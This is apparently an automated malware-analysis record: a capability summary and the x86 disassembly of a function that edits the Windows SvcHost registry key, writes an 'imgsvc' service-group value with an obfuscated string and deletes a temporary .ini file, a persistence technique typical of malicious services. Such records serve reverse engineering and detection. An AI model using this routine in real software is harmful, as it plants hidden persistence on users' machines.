Function at 0x1000b580
Capabilities:
Delete file
Get common file path
Query or enumerate registry value
Set registry value

Disassembly:
sub esp, 0x2d8
push ebx
push esi
push edi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0xb5]
mov byte [esp + 0xb4], 0
push 0x104
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0xb8]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov edi, str.Net_Temp.ini
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0xb4]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov byte [esp + 0xb7], 0
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea eax, [esp + 0xb4]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
mov ecx, 0xd
mov esi, str.SOFTWAREMicrosoftWindows_NTCurrentVersionSvcHost
lea edi, [esp + 0x80]
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x80]
push ecx
movsb byte es:[edi], byte [esi]
call fcn.1000b2a0
mov ecx, 0x18
xor eax, eax
lea edi, [esp + 0x21]
mov byte [esp + 0x20], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
add esp, 8
stosb byte es:[edi], al
call dword [sym.imp.MSVCRT.dll_rand]
imul eax, eax, 0x2b67
mov esi, dword [sym.imp.MSVCRT.dll_sprintf]
push eax
lea edx, [esp + 0x1c]
push str.SOFTWARE_d
push edx
call esi
lea eax, [esp + 0xc0]
lea ecx, [esp + 0x24]
push eax
push ecx
call fcn.1000b300
add esp, 0x14
lea edx, [esp + 0xc]
lea eax, [esp + 0x18]
push edx
push 0xf003f
push 0
push eax
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1000b814
mov ecx, 0x4a
lea edi, [esp + 0x1b9]
mov byte [esp + 0x1b8], al
lea edx, [esp + 0x1b8]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x4b
xor eax, eax
lea edi, [esp + 0x1b8]
mov dword [esp + 0x14], 7
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x10]
lea eax, [esp + 0x14]
push ecx
mov ecx, dword [esp + 0x10]
push edx
push eax
push 0
push str.imgsvc
push ecx
mov dword [esp + 0x28], 0x12c
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x1000b76e
lea edi, [esp + 0x1b8]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ebp
mov ebp, ecx
lea ebx, [esp + 0x1bc]
test bp, bp
je 0x1000b72c
mov edx, ebp
push str.Gj_x_r_Flfftcjp_cs
and edx, 0xffff
push 0x10016e84
lea ebx, [esp + edx + 0x1c5]
push ebx
call esi
add esp, 0xc
jmp 0x1000b755
mov edi, str.Gj_x_r_Flfftcjp_cs
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x1bc]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, ebx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
and ebp, 0xffff
lea ecx, [ecx + ebp + 1]
pop ebp
jmp 0x1000b7a8
mov edi, str.Gj_x_r_Flfftcjp_cs
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x1b8]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x1b8]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov edx, dword [esp + 0xc]
push ecx
lea ecx, [esp + 0x1bc]
push ecx
push 7
push 0
push str.imgsvc
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [esp + 0xc]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea ecx, [esp + 0xb4]
push ecx
call esi
lea edx, [esp + 0xb4]
lea eax, [esp + 0x18]
push edx
push eax
call fcn.1000b2a0
lea ecx, [esp + 0xbc]
lea edx, [esp + 0x84]
push ecx
push edx
call fcn.1000b300
add esp, 0x10
lea eax, [esp + 0xb4]
push eax
call esi
pop edi
pop esi
pop ebx
add esp, 0x2d8
ret